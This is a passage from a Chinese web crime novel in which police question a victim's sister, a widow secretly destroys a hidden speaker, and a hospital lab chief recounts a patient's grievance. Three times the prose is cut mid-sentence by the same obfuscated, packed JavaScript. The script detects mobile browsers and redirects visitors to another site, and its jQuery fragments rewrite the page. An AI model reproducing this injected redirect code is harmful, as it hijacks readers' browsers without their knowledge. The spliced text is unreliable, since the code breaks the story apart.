不愧是我们的糖,这么善解人意。高文暗暗给他点赞,相亲两人组齐齐松了口气。高文客套地表示抱歉,喻淑礼貌地表示理解,以后有机会再见,不过看她的表情,约莫是希望两人相忘于江湖,永远不要再见。 唐彦找了李所协调,李所一声令下,薅了倒霉又没眼力见的实习警和另一个有经验的民警老孙进去顶岗。见高文失魂落魄地从问询室里出来,刚到所里、连屁股都还没坐热乎的王浩就挤眉弄眼地迎了上来。 “你看,你也没失约嘛。”王浩安慰道,“其实今天一晚上你都可以陪人家姑娘聊天。” 这个多灾多难的晚上总算是有点乐子看了。 他不说还罢,一说高文整个人都不好了。 唐彦更是冲他挤眉弄眼:“文儿,该不会就是你干的吧?追到姑娘再弄死人家弟弟,家产就全都落你手里了。” 给了他一个暴栗,高文道:“去,在你眼里我就这水平?要是我动手,那能下毒吗?高低不得选个一没监控、二没护栏的桥,趁他不备一下子推水里,妥妥的意外,啥玩意都查不出来。” “哟,哟,恩将仇报啊!”唐彦抱着头叫屈,“要不是我给你挡回去,你真拿人家姑娘当嫌疑人审,这回相亲铁定又凉了。” “你以为这样就不凉了吗?”王浩一针见血,凉凉道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609775|187615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那姑娘铁定这辈子不想再见他第二面了,晦气。” “那咱们文儿岂不是也太惨了?”唐彦夸张道,“好不容易干掉了大舅子,把人家姑娘变成独生女,结果这下别说老丈人的家产,连媳妇都没了?” 他表演得绘声绘色,连路过想瞅一眼情况的李所都差点没绷住。眼见第十八次相亲就要再次失败的高文忍无可忍,跳起来就要打唐彦,王浩咳了咳:“受害者家属还在外面呢,别胡说,回头被发到网上你俩就一起凉了。” 李所也连连点头:“破案要紧,破案要紧。” 他一出声,三人吓了一跳,一下全都老实了。为了打破尴尬,李所道:“现在问到哪一步了,咱看看监控?” 虽然不明白为什么问询室还没装上单向可视玻璃,王浩还是答应道:“......好。” 监控好,监控妙,为了抓一伙专偷电瓶车的蟊贼,他当年毕业一进所就看了两天监控。 好在所里的问询室虽然破了点,但是摄像头是高清的。 喻淑神态还算坦然,一杠一奋笔疾书,临时被抓来的老民警老孙例行公事开始问话:“年龄?” “27。” “性别?” “女。” “工作?” “市一中,数学老师。” “你和死者最后一次见面是什么时候?” 这个问题明显难住了喻淑。想了想,她才道:“我那天晚上也去河堤溜达了,远远看着个人挺像他,但不确定是不是,我也没去打招呼。可以确定的见面的话,可能得将近两个月了吧。” 一听就是实话,不过老孙还是嗅到了疑点:“为什么?你们都在市区工作,周末都不回家吃饭吗?” “我和他回家都是错开时间的。”喻淑道,“我和他关系很差,特别差,见面都不搭腔的那种,为了防止打起来最好互相不见面。” 没想到她这么坦率,老孙道:“为什么?” “这个问题可就复杂了。”喻淑道,“我可以长话短说吗?” “可以,但是要说清楚前因后果。” “好的。”喻淑言简意赅,“因为我们在争家产。” 老孙一下坐直了身子:“怎么说?” “我爸妈说他们不偏心,所以我觉得我们是一样的,他有的我也得有,没道理给他买房,却只给我买车。”耸了耸肩,喻淑道,“所以矛盾这不就来了?” “你爸妈给你买房了吗?” “买了,和他一个小区,不同单元的同楼层同户型。”喻淑顿了顿,“具体哪个小区你们那里有,我个人信息里写着呢,应该不用具体到门牌号吧?” “所以你们就不来往了?” “那倒也不全是。他自己装好人,怂恿杨文倩出头和我吵,被我怼了回去,杨文倩从此就不许他再回我爸妈家了,否则就和他离婚。” 提起这个,老孙顺口问道:“喻健和杨文倩的夫妻关系怎么样?” 喻淑淡淡道:“很差,喻健应该是出轨了。” 她再次轻描淡写地爆出这么一个大瓜,老孙显然也呆住了,再次确认道:“你是说他们存在严重的夫妻矛盾?” “对,但应该不是她干的。” “嗯......啊哈?”老孙问着话,那个实习警本来在飞速记着笔录,闻言也惊讶地抬头看她——哪有自己还一身疑点洗不清,就给别人开脱嫌疑的? “她那脑子......”喻淑摇了摇头,似乎是嗤笑了一声,“不是我说她,你们见了就知道了,她干不出这么高难度的事儿。” 12. 妈妈,你去漂亮国吧 “不是我说,这姑娘也太坦荡了吧。”在车上翻着笔录,唐彦啧啧称奇,“我干了这么些年了,不管是家属还是嫌疑人,进了问询室都是主打一个有仇报仇、有怨报怨,哪有反过来把嫌疑往自己身上揽的?” “这要么就是性格直率,问心无愧,所以坦坦荡荡,要么就是高智商犯罪,心理素质过硬,笃定了咱们找不着证据。”和领导不坐一个车,一车的牛马都格外放松,王浩抻着腰评价道,“但如果这姑娘说的是实话,她和喻健真是两个月没见了,那她的嫌疑基本就能排除了。” “为什么?”唐彦道,“万一是她早就放了进去,喻健现在才想起来吃呢?” “因为那袋薯片的生产日期是一个月之前。”高文还是无精打采的,“除非她能隔空取物,要不肯定不能是她干的。” “那怪不得,看来人家说不定是真的问心无愧啊。”唐彦感慨道,“要是都这么爽快就好了。” “不过我说,咱高表现不错啊,人民群众对咱们的职业操守很是信任。”王浩一边打着哈欠,一边拍了拍高文的肩膀,“人姑娘说了,‘你们都是要调查的,查监控、查指纹,得形成完整的证据链才能定罪抓人,不会平白无故冤枉我’——豁,看看这觉悟。现在网上到处都是骂警察的,看来姑娘对咱小高印象不错啊。” 听得连连点头,唐彦对喻淑的印象分瞬间拉满:“怪不得本硕都能考上双一流学校,看看人家,就是和那些跟风骂警察的不一样!这种有啥说啥的最好相处了,要是能成,你俩肯定过得不错。” 用胳膊肘拐了高文一下,他悄摸道:“文儿,我跟你说,人家姑娘现在肯定郁闷着呢。你趁机多和她接触接触,等案子一办完,女朋友这不就到手了?” “她现在还是嫌疑人呢,按规定我不能和她有私下接触。”高文无精打采,“而且我觉得她这辈子应该不想再见我第二回了。” “啥啊,谁让你违规办事了?你找人家问话的时候,带杯饮料、带个甜点不违规吧?这叫关心受害者家属!人性化执法!”王浩恨铁不成钢,“儿子没了,爹妈这多伤心啊!你多过去表现表现,帮着给办办后事、招待招待亲戚,这老丈人和丈母娘不就搞定了?” “唉,再说吧。”高文唉声叹气的,“我觉得这个世界和我的缘分尽了。” 咋啥相亲奇葩事都能让他遇上啊!就算他的正缘是个犯罪分子他也不稀奇了,真的。 桑塔纳在刺耳的刹车声中停了下来,众人打着哈欠下车。正巧局里有群人出来,看着其中有一个穿白色水貂绒大衣的女生,正拎着一个小包,王浩认出来是林清音,正要上前打招呼,就看见徐建已经下车往这里来了,顿时就噤了声。倒是林清音看见了他,朝他笑了笑:“王警官,你们这是出差刚回来?” 她还是戴着那副蕾丝手套,眉眼弯弯,声音甜糯,珍珠耳坠摇摇曳曳,总给人一种如坐春风的感觉。 学霸就是养眼。这衣服他老婆肯定也喜欢,就是不知道有链接没,回头买了给她当生日礼物不错。王浩心里寻思着,飞速瞥了一眼徐建,顺口道:“有点事儿,刚回来。” 知道这是不好多说的意思,林清音也没再追问。徐建却莫名有一股强烈的直觉,好像有什么重要的东西要错过了,盯着她手里的包,他道:“你们这是过来做什么?” “今天人齐了,来领尸体,一会送去殡仪馆火化。这里面我公公婆婆生前常穿的衣裳。”许是他的视线过于明显,林清音把包里的东西给他看了看,又指了指旁边两个同样拎着包的男生,声音低了下来:“这是赵军,这是王涛,都是我公公生前资助过的学生,专门回来送他最后一程,说好了给他当孝子的。” 赵军瘦瘦高高,一看就是个沉默寡言的IT男,王涛看着敦实些,也会来事儿,但明显也是在忍着悲伤和他握手。想起来笔录里记的东西,徐建认认真真把两人打量了个遍儿,可也没发现任何异常,林清音更是平静坦然,看不出任何问题。 良久,徐建道:“江老师两口子走得突然,节哀。” 这话一落地,赵军眼睛就红了,转过脸就去抹眼泪。王涛红着眼眶,勉强笑了笑:“没有办法的事儿,领导您也辛苦了。” “应该的。”徐建扫了一眼林清音,叫来高文:“大晚上的,家属心里又都不好受,你开车把林教授他们送过去吧。” 应了一声,高文过来就要帮她拎包,林清音倒也没推脱,只是笑了笑:“那就麻烦高警官了。” *** 人的一生,说轻,怎么也有几十年的分量;说重,到头来又不过轻飘飘一捧灰。 林清音进去,最后给江伟华夫妇整理了一次衣裳。让高文帮忙提了那包东西,在外边陪着看起来状态很不好的赵军和王浩。等她再出来,江伟华夫妇都已经被推进炉子里了。不一会,工作人员让进去领骨灰,赵军和王涛各捧了江伟华夫妇的骨灰盒,看着都呆呆的。看得出两人对江伟华的感情很深,高文叹了口气,拍了拍两人的肩膀:“哥们,日子还得过,打起精神来啊。” 赵军嘴一咧,看着他就哭了。王涛扭过脸去,把眼泪一抹,梗着脖子问他:“警察同志,你们见的多,你说江老师这么好的人,怎么就落这么个下场呢?” 看着他通红的眼眶,高文无言以对。段二哥狠狠吐了口烟,粗劣浓烈的味道呛得人几乎睁不开眼:“老天不开眼,好人不长命呐!” 一车的人都沉默了。 虽然见多了生离死别,高文心里也有些不是滋味,打着方向盘,他道:“我把你们送哪儿?” “叙叙爸妈家,就是上回你们给贴了封条的地方。”段二哥沙哑着嗓子,“我们就是从那边过来的。过去把家里的东西收拾收拾,也好给他两口子搭灵堂。” 人伤心的时候,随随便便一个字都像刀往心里戳。赵军一下就哭了,呜呜咽咽的声音在空旷的夜里越发显得凄凉。 生死已成空,阴阳两线隔。 锦绣华府是新城区的新小区,入住率不到五分之一。到了楼下,高文使劲跺了跺脚,黑黢黢的楼道才算有了丝光亮。帮忙把东西搬了上去,他顺手给开了灯,就见屋里乱七八糟,尸体遗留下的味道还没有散,地上还有外勤组勘察留下的痕迹。 心里也挺唏嘘,他问道:“后事准备怎么办?” 段二哥说:“小赵和小王当摔盆,我们那边的亲戚还有叙叙他爸的盟兄弟给帮着办后事,他们单位那边再出几个人,办一场也就算了。” 心里也是有些唏嘘,高文环顾一周,活似穿越到了七八十年代,家具虽然都是新的,但都是爸妈会喜欢的老旧风格,电视两边甚至还都有音响,落满了积灰,古董架上是各种花花绿绿的酒瓶,不知从哪里淘来的旧布花和一些杂七杂八的东西,屋里到处都落满了灰。 三间卧室卧室门都大开着,自从江伟华瘫痪,段洁大概就和他分房睡了,主卧里空荡荡的,除了床和柜子,连张桌子都没有。高文随便瞅了一眼,就走进了次卧。门后就是张红漆桌子,上面搁着个小架子,摆着些新新旧旧的瓶瓶罐罐,还有些乱七八糟的小玩意,什么布老虎、虎头鞋、平安扣、头绳、断了齿的梳子,满满摆了一盒,桌子上还有一摞照片,高文随手抽出一张,就见两个看着十七八岁,英姿勃发的少年正含笑着看他。 见他盯着那张照片,林清音睫毛似乎动了动:“这是叙白和他同学,高考之后照的。他是穿白色短袖的那个。” 照片里的江叙白高高瘦瘦,白白净净的,论五官好像是比他略强那么一点。旁边蓝色短袖的男生也是眉清目秀,笑得十分腼腆。两人勾着肩,相视而笑。翻过来一看,背面整整齐齐写着两个人的名字:“江叙白、徐元——相识就是一辈子”。 这两人关系未免也太好了吧,男生很少有这么肉麻的,真这样以后老婆往哪里搁啊?心里腹诽,高文倒也没真当回事。盯着仔细看了一会,他心里默默算了算江叙白和旁边篮球架的高度差。这么一算,心情就好多了——江叙白肯定没他高,起码得矮三四公分呢。 又看了一会,高文再次发现了一个盲点——江叙白眼睛没他大,说不定还是单眼皮。有了这么个重大发现,他忍不住就想拿起来仔细研究研究。可惜偷偷瞄了一眼,他发现林清音就在旁边。既然不是证物,这种重要的东西也不好乱碰,他只好悻悻地收回了手去。见另一个冰蓝色的瓶子和他妈妈用的护肤品很像,高文顺手就想拿起来看看,却发现底下的灰尘不太对劲,和底座的形状有些微的区别。 这里原来放的是什么?高文有些奇怪,转头就想问问林清音。林清音就站在他旁边,安安静静,长长的睫毛垂下来,素白的大衣衬得她更加单薄纤瘦。心里突了一下,他忽然就想起来一句话——女要俏,一身孝。” 把乱七八糟的念头赶出脑海,他磕磕巴巴地开口:“那个,学霸,呸,那个,那个……” 当然不能当面管人家叫学霸,不知道该怎么称呼她,高文期期艾艾的,脸上发烫。 应该是明白了他的意思,林清音微微歪了歪头,声音还是一如既往的软糯,疑惑道:“高sir,你是想叫我吗?” 她的长相本来就秀美,在声音的加持下,又带了些恰到好处的甜。 一下子红了脸,高文不好意思看她,盯着磨得发光的警裤和一个星期没换的作训鞋,他挠了挠头:“那个,我……我们就是都不知道该怎么叫你,是不是应该叫林教授啊?” “那也太客气了,显得好老。”把鬓角的碎发撩了上去,林清音笑了笑:“叫我音音就行。” 她就这样笑着,眼里好似盛满了星光。高文顿时满脸通红:“我,我……” 脸上发烫,他一时连自己要问什么都忘了。绞尽脑汁,他想了半天,才要开口,就见林清音指了指他的手环:“高sir,你手环刚刚闪了一下,好像是工作群的消息,是不是你们单位有事找你啊?” 她的眼神干净而澄澈,话语也正常,可却偏偏歪了头,一绺碎发从耳边落了下来,配着天生软糯的声音,就像撒娇似的。 脑子哄的一下炸开,高文的心防被击得七零八落。原本要问一问的念头早便抛到了九霄云外。要不是被她笑盈盈地盯着,连手环都要忘记看了。 点了好几次才点开消息,他反复看了好几遍,才明白是唐彦问他一份材料在哪里。脑子里迷迷糊糊的,也分不清着不着急,他看着林清音想说话,却期期艾艾地说不出口。 林清音却误会了似的,洁白的手指撩起落下的碎发,眼里含着笑:“那你快去忙吧。他家里人都在这里,也不方便。” 明明是很正常的一句话,可此刻听来,却似乎带着说不清道不明的味道。脑子混沌了似的,她推开了门,高文就下意识跟着她往外走:“好。音,清音,你……再有什么需要,随时联系我。” 他的声音细得像蚊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609776|187615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,别别扭扭,鬼鬼祟祟,好似在说什么亏心话。 但林清音似乎并没有听出来不对。她依然笑盈盈的,秀气的眉眼弯弯:“好的。高sir,路上小心。” 对上她含笑的脸儿,高文几乎是落荒而逃。看他出来,段二哥张罗着要送他下去,他也只是挥了挥手,噔噔噔下了楼:“不用了,局里有急事儿,你们先收拾着吧,死者安息为重。” 见他不是客套,段二哥也没再勉强。看着满地乱七八糟的东西,赵军和王涛都淌着眼泪,跟木头人似的,段二哥一根又一根抽着烟,也都没有要动的意思,林清音叹气,从餐桌上翻出来双一次性手套,独自到卧室里收拾去了。 看她起来,段二哥沙哑着嗓子道:“叙叙他老婆,明天再弄吧,不行明天找个那个什么,保洁给收拾收拾。” “不用了,我先收拾着吧,要不这样乱,保洁都不好下手。”看了赵军和王涛一眼,林清音道,“他们回来一趟不容易,收拾收拾遗物,让他们看着选样拿走,也是个念想。” “好孩子啊。”看她这么细心周到,段二哥道,“可惜了,唉,叙叙,唉——” 洗了块抹布,林清音把段洁桌上的东西都收拾了起来,仔仔细细地擦了一遍,又把客厅里桌子的古董架都擦了一遍,连那两个音响都仔细擦了擦。看着时间也不早了,她到洗手间洗了洗手,“二舅,那我就先回去了。” 点了点头,段二哥道:“大晚上的,你路上小心。” “没事,我回去也就十来分钟。”林清音道,“柜子最上层里有被褥,要冷的话你们自己拿下来,别冻着了。” 她擦了手就要走,到了门口才想起来包还在段洁卧室里,于是又进去拿了包,这才下了楼。 *** “音音?” 一开门,林清音就看见客厅的灯还亮着,半是埋怨半是无奈:“妈妈,不是说了不用等我吗?你怎么还没睡啊?” “你这大半夜的出去,我怎么放心?”林惠丽道,“公安局也是,非得大半夜通知,明天再去领不行吗?” 她已经六十出头了,脸上的鱼尾纹里盛着岁月的温柔,只有头发还是乌黑油亮。 林清音放下包:“他那边有两个学生来给当孝子,急着想见老师最后一面,时间紧也呆不了那么多天,所以就想着赶紧去领了。” “唉,他们一家人也是倒霉。”林惠丽道,“哪天出殡啊?不行我也过去看看,可怜呐!” 林清音道:“到时候都是那边的亲戚,你要不还是别去了,不得劲。我去就行了。” “那你得去,叙叙人那么好,你看着他也得去送他爸妈最后一程。其实叙叙他妈妈也是个好人,就是他爸爸,唉,人没了,咱也不说他坏话。”林惠丽道,“你忘了当时找对象的时候,人家看你什么都好,可再一问,一听咱是单亲家庭就不行了。你也是,非要改姓,你说你跟我姓干什么?也亏了叙叙不计较,要不他爸爸那边就不行了。” “不行就不行呗,说明没缘分。”林清音道,“当初惹出来那么多事儿。” “唉,他爸爸是事儿不少。当时谈彩礼的时候,就和我说他们那边彩礼都是三万八、四万八,八万八就是最多的了,结果我一打听,他们那边比咱们这里还高,基本都得十八万八。我说现在定亲也都得好好办,他还说看各家情况。他侄子那个对象就因为他瞎出主意让他给搅和黄了。” 忍不住说了江伟华两句,林惠丽又道:“你也是,冲叙叙发脾气就发脾气,说咱都出钱让他入赘干什么呢?也就是叙叙脾气好,不和你计较。其实他爸爸可能是因为不满意咱们是单亲家庭才这么说的,你别忘了叙叙可什么都占,工作、家庭、学历都好,人长得还好。” “都过去了,还说这些干什么?”明显不想多说,林清音道,“妈妈,你都退休了,绿卡也批下来了,要不去漂亮国玩玩?” 林惠丽道:“你又不去,我自己去玩什么啊?” “我过段时间也过去,你先去给我打扫打扫房子。”林清音道,“到了地方周羽去机场接你——我同学,还是上次接你的那个。” “唉,早知道你留在那边就留在那边吧,我也不非让你回来了。”林惠丽唉声叹气,“在那边找个人结婚也行啊,真不行还能买米青生子,在国内你这还成个麻烦事儿了。” 要她说,其实结不结婚无所谓,主要是得有个孩子。女儿婚倒是结了,女婿也不错,可才不上一年就没了,没了就没了吧,可女儿还没有孩子啊!这不和没结一样吗? “我反正有绿卡,等等也过去。”林清音声音低了下去,“现在在国内呆着也没什么意思了。” 看她这样,林惠丽欲言又止,看着她叹了口气,想说什么,就听林清音道:“我给你买下周的飞机票呗,你先过去,我最多一个月也就过去了。” 其实她不想出国的,虽然是个英语老师,但她口语一点都不好。国外人生地不熟的,她也不喜欢。可转念一想,陪着女儿出去散散心也好,这孩子指不定还难受着呢。 这么想着,林惠丽道:“行。那我先去睡了,你也早点睡,别天天熬夜。” “嗯,知道了。” 看她关了门,林清音从包里掏出来一个小布老虎。进了洗手间,她沿着缝合线撕开,里面赫然是个微型音响。拆出来轻轻捏碎,她把它扔进了马桶,按下冲水键,碎片转眼被巨大的旋涡吞噬。 13. 我不是为了钱,就是要一个说法。 在该躺平的年纪被逼奋斗,局里那辆垂垂老矣的警车再次半路熄火,以示抗议。无奈之下,王浩和高文只好打了车过去。等他们到医院时,化验科的田主任已经在办公室里等着他们了。 田主任是个四十来岁的中年男人,看面相十分和蔼,只是眼下黑眼圈十分明显。显然熬了一宿,也是累得不轻。 王浩连忙上前与他握了握手:“田主任,不好意思来晚了,幸会幸会。” “没事,我也是刚忙完下来,凌晨来了个病人,急着要化验。”田主任摆了摆手:“两位警察同志辛苦了。” 喻健的案子时间紧迫,田主任一看也是急着回去休息,王浩就也没有再绕弯子,径直问道:“喻健的事儿,您已经知道了吧?” “知道了,他爸妈也是我们医院的。昨天晚上过去认尸回来,我们院里就都传遍了。他爸还专门来找了我,请我千万要配合你们工作。那语气,唉。”田主任明显有些唏嘘,“好好的小伙子,怎么说没就没了呢?” 点了点头,王浩道:“喻健的事儿不是意外,所以我们今天也确实想找您了解一下情况。您觉得喻健这个人怎么样?” 推了推眼镜,化验科田主任道:“小伙子办事还不错,准点上下班,从不叫苦叫累。人也很热情,经常给同事帮忙,所以和大家关系都挺好。” 王浩道:“您觉得他有什么缺点吗?” “缺点?”想了想,田主任摇了摇头,“没什么明显缺点吧,也就是上进心不强,天天叨咕着想退休,不过现在的年轻人不都这样?” 他这回答四平八稳,没什么有用信息。王浩不死心,追问道:“那他和其他人有什么矛盾吗?就比较明显的,比如评职称之类的。” 田主任失笑:“小喻上班才两年,都还是初级职称呢。我们医院的初级职称名额很多,到了年限就能评上,这个肯定是不会有的。” “那其他的呢?” 思索了一会,田主任摇头:“想不到。他和同事关系都挺不错的,下了班还经常一起吃饭,谁会害他啊?” “我看咱们医院招聘要求里,一般研究生学历的招聘要求都是年龄在26以下。您刚才说喻健上班才两年,但他已经三十了,也就是说他28岁才研究生毕业?”王浩提出疑问,“而且我看他中间没工作过,学校普普通通,第一学历还是专升本,我看其他医生的履历,第一学历起码都是本科,研究生基本都是双一流啊。这样的话,大家不会对他有什么想法吗?” 听他这话,田主任脸上有些尴尬。叹了口气,他半晌才道:“王警官,怎么说呢,就是天下父母心吧。咱们医院的化验科和其他科室不太一样,现在都是仪器分析,所以对医生技术的要求就不是很高。咱医院的职工都有孩子啊,这孩子学习不好,咱总不能看着他饿死吧?所以咱化验科里面,确实也有一些职工子弟。” 他这话说得还比较含蓄,但两人也都听懂了——区医院的化验科基本都是关系户,大家半斤八两,都是爸妈设法给弄上学历过来混日子的,所以不会有谁特别对喻健有意见。 ——这个世界真的是个巨大的草台班子。 忍了又忍,高文还是忍不住问道:“可是医院诊断不都是以化验结果为基础的吗?这样能行吗?” 这可是医院啊!而且是区人民医院,万一这伙关系户业务不精,给弄错了结果怎么办?这可是一条人命啊! “不会的,不会的。”看出来他们对医院的信任在崩塌,田主任连忙摆手,“现在都是机器分析,人工操作很少,他们主要是负责贴条码,把试管放在仪器上。你们放心,我们医院还是很可靠的。” 挤出来个假笑,高文连连应着,心里却想着以后再也不要来这家医院看病了。 看破不说破,田主任也有些尴尬。揉了揉鼻子,他道:“你们还有什么要问的吗?” 看了看列好的提纲,王浩顺口问道:“咱们这里有出现过关于喻健的医患纠纷吗?” 现在医患关系紧张,暴力事件频出,所以徐建格外嘱咐他们要注意患者。不过喻健是在化验科,和患者接触不多,应该概率也不大。 可田主任却罕见迟疑了:“你是说……医闹?” 这还真有?王浩眼睛一亮,赶忙说道:“对,您讲。” “其实也不是什么大事。”田主任有些犹豫,“患者接触不到化验科医生的,这个应该和喻健的案子无关吧?” “是不是无关不是我们说了算,是证据说了算的。在没有确凿证据的前提下,一切与喻健有矛盾的人都有嫌疑。”王浩正色,“您也不希望喻健因为您的善意维护,反而不能沉冤得雪吧?” 似乎是在天人交战,田主任道:“你们不会和外人说吧?” 知道是有戏,王浩趁热打铁:“那当然,我们获得消息都是严格保密的,您放心说。这个案子的关键说不定就在您身上了。” 叹了口气,田主任道:“就是有个女的,姓陈,三十来岁吧,说小喻故意给她弄错了检验报告。” 王浩愕然:“什么情况?” 田主任叹了口气:“这个女的和她老公结婚之后一年都没怀上孩子,就过来查是不是身体有问题。检查结果显示她没问题,她就叫她老公也来查。当时是小喻给查的,查出来是弱精,但不是怀不上那种。两口子这就回去了,又是吃药又是试偏方,但就是怀不上。后来她骗着她老公说去北京做试管,实际上是查她老公有没有问题,结果查出来是无精症。于是她就认定是小喻故意给她弄错的,包庇她老公。” 摸了摸下巴,王浩道:“那这结果是不太准啊?” ——有一说一,该不会真是这群关系户学艺不精导致的吧? 田主任有些无奈:“说是这么说,但是离他们在我们这里检查都过去两三年了。无精症既有先天的,也有后天环境因素影响产生的。压力大本身就会导致无精症的发生,所以这个真的说不好。” 敏感注意到了他前后态度的矛盾,王浩道:“但是根据您的判断,您认为是责任是在喻健?” 眼见田主任的脸色就要变了,他连忙补充道:“您放心,这个不会记在笔录上,只有咱们三个人知道。” 田主任这才松了口气,道:“我只能说是我的感觉。毕竟无精症后天发生的概率很小,而先天性的无精症目前是无法治愈的。它之所以被称为无精症,就是因为在任何情况下都不可能产生精子,所以这个确实可能是小喻的疏忽。” 见王浩皱起了眉,他又解释道:“但是我们的化验结果也是有一定的容错率,不能保证百分之百准确。目前仪器的检验精准度是接近百分之百,但毕竟也还存在误差,所以后续才需要人工核对。医生在疲劳状态下没有留心核对,或者标本保管不当受污染 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609777|187615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,确实可能会出现误判的问题。但好几年过去,当时的化验样本早就已经处理掉了,现在想找第三方复检都不可能。所以现在就是根本说不清到底是谁的责任。” 王浩道:“那医院是怎么处理的,给她赔偿了吗?” “赔啊,当然得赔,一开始说给她二十万,后来是二十五万、三十万。”田主任苦笑道,“但是她不接受,坚持要求开除小喻。” 王浩道:“为什么?” “她一口咬定小喻不是误判,是故意给她弄错的,但是没有证据。问她原因,他就说她老公和小喻认识,所以一定是小喻包庇她老公,两人拿结果糊弄她。” 嘶了一声,王浩道:“她的心情能理解,但这未免也有些强词夺理了吧?” “是啊。”田主任也道,“所以我们是不可能答应的。她就认定了我们医院包庇小喻,天天来闹事,弄得小喻很麻烦,灰头土脸的。” 王浩问:“比如说什么?” 田主任道:“那打12345、找领导、在医院大厅大拉横幅、发传单就不提了,就说那些小事儿吧。听说你们是在河堤边上发现的小喻,那段荒得连监控都没有了?” 王浩点了点头,他才继续道:“你看,这就是了。小喻有夜跑的习惯,但之前都不跑那么远的,最多跑到解放桥就停了。现在因为那女的咬着他不放,就只好到远处跑了。我们都说,要不是因为这个女的,小喻还不一定会被害了呢。” 凶手蓄谋已久,喻健就算不跑那么远,恐怕也难逃一劫,但他们查起来肯定不会这么麻烦。王浩心里嘀咕,脸上倒没什么,继续开始问下一个问题:“喻健的包平时都放哪儿,能接触到的人都有谁,您知道吗?” “他的包?”田主任被问得一愣,想了想才说道,“平时我们的包都是放在办公室里,小喻应该也差不多吧,能接触到的人那可多了去了。我们办公室里虽然没有监控,但是楼道里都有,你们想查的话,可以找物业问问。不过谁会碰别人的包啊?” “有一丝可能也要查查嘛。”王浩道,“那下了班呢,除了跑步,喻健一般是做什么,直接回家吗?” “那也不是。”田主任道,“小喻这人情商很高,咱俗话说就是透溜。年轻人嘛,又没孩子,经常和同事领导一起唱个歌、吃个饭啊什么的,晚上还会去跑步,经常看他朋友圈发运动记录。听说他还有个小红书账号,也会发生活近况啥的。” “他一般都去哪儿啊?” 摇了摇头,田主任道:“那这我可就不知道了,年轻人也不爱和我们这些老头一块玩。你要不问问小李他们?” “那您有注意过喻健什么时候吃过薯片吗?”把薯片盒子的照片放大给他看,王浩道,“就是这种盒装的薯片。” “没有。”看了看,田主任摇了摇头,“这不就是普通薯片吗?平时没怎么没注意过。而且我们化验室有规定的,什么都要防污染的,不能在里面吃零食,至少我是没见小喻吃过。” 有些失望,王浩正要再问,就听见外面一阵喧哗,纷乱的脚步声不绝于耳,只听一个粗壮的女声道:“你们田主任不在那就找院长,院长不在我就去□□局。我这次是拿了证据过来的!我不是为了钱,就是要一个说法。光脚的不怕穿鞋的,区□□局要是不管,那我就再去市里,市里不行就去省里,省里不管就去京城,看看到底谁能管!” 14. 要不是他那份作假的检验报告,我早就离婚了…… 见王浩和高文都看着他,田主任十分无奈:“两位警察同志,你看,这不又来了?” 王浩道:“就是那个陈,陈……?” 田主任接口道:“陈洁。就是那个硬说小喻故意给她弄错检验结果,要我们开除小喻的那个女的。” “那正好我们去看看吧。”王浩起身,“田主任,麻烦您带个路。” “唉,要是之前,我还真不敢和你们出去,你们是不知道那女的,哎——”田主任一边起身,一边唉声叹气,“这真是谁都没想到,这事会这么给她解决!” 听她口齿清晰、逻辑有力,口口声声要去省里、京城上访,就知道绝不是什么普通角色。王浩暗暗打起精神,再次瞅了一眼自己的执法记录仪,确认摄像头是开着的,这才推开了门。 外面不少群众在看热闹,好几个护士站在楼道里,好言好语地不知在劝着什么,中间围着一个女人,王浩知道就是陈洁了。只见她身高足有170,体重看着和身高差不多,眉心正中有一颗黑痣,膀大腰圆,声音洪亮,在人群中辨识度极高。 看到这画面,田主任瞬间苦了脸。勉强打起精神来,他拨开人群,向陈洁道:“你这又过来了?” 眼尖瞅见了一身警服的王浩和高文,陈洁愣了一下,冷笑了一声:“我说缩头乌龟怎么敢出来了呢,报警了是吧?我告诉你们,我的诉求正当合法,警察也不能把我带走。” “没有没有,”田主任连忙摆手,“警察同志早就过来了,人家是为别的事儿,和你没关系。你看你大老远过来也不容易,要不让护士给你倒杯水,咱们到接待室里说?” “谢谢,不用了。”陈洁冷笑,“寻思着把我骗到你们接待室,一个唱白脸、一个唱红脸,逼着我收了你们的赔偿好息事宁人是吧?” “大妹子,咱们不是这话。”田主任道,“你看你这堵在这儿,影响我们正常工作,咱这也解决不了问题啊!” “我就站在这儿,怎么就影响你们的正常工作了?”陈洁道,“你们不派个能主事儿的人给我解决,我就不走!” 眼见田主任窝了一肚子火,又忍着不能发,王浩上前亮出了证件:“陈洁是吧?” “是,怎么了?”陈洁梗着脖子,“他们故意给我弄错检验结果,我找他们讨说法犯法了吗?” “当然没犯法。”王浩顿了顿,加重了语气,“但是喻健死了。” 